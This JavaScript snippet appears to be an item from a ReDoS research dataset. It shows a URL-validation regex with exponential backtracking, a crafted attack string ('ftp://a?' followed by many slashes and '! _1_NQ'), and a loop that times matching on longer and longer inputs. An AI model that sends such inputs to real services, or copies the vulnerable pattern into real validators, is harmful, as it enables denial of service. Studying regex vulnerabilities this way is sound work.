text: /* 6179
   * ^(ftp|https?):\/\/([^:]+:[^@]*@)?([a-zA-Z0-9][-_a-zA-Z0-9]*\.)*([a-zA-Z0-9][-_a-zA-Z0-9]*){1}(:[0-9]+)?\/?(((\/|\[|\]|-|~|_|\.|:|[a-zA-Z0-9]|%[0-9a-fA-F]{2})*)\?((\/|\[|\]|-|~|_|\.|,|:|=||\{|\}|[a-zA-Z0-9]|%[0-9a-fA-F]{2})*\&?)*)?(#([-_.a-zA-Z0-9]|%[a-fA-F0-9]{2})*)?$
   * EXPONENT
   * nums:3
   * EXPONENT AttackString:"ftp://a?"+"/"*16+"! _1_NQ"
   */
  var REGEX = new RegExp("^(ftp|https?):\/\/([^:]+:[^@]*@)?([a-zA-Z0-9][-_a-zA-Z0-9]*\.)*([a-zA-Z0-9][-_a-zA-Z0-9]*){1}(:[0-9]+)?\/?(((\/|\[|\]|-|~|_|\.|:|[a-zA-Z0-9]|%[0-9a-fA-F]{2})*)\?((\/|\[|\]|-|~|_|\.|,|:|=||\{|\}|[a-zA-Z0-9]|%[0-9a-fA-F]{2})*\&?)*)?(#([-_.a-zA-Z0-9]|%[a-fA-F0-9]{2})*)?$")
  for(var i = 1; i <= 5000000; i++) {
      var time = Date.now();
      var attack_str = 'ftp://a?' + '/'.repeat(i*1) + '! _1_NQ'
      REGEX.exec(attack_str)
      // REGEX.test(attack_str);
      // attack_str.search(REGEX)
      // attack_str.match(REGEX)
      var time_cost = Date.now() - time;
      console.log(i * 1 + ": " + time_cost+" ms")
  }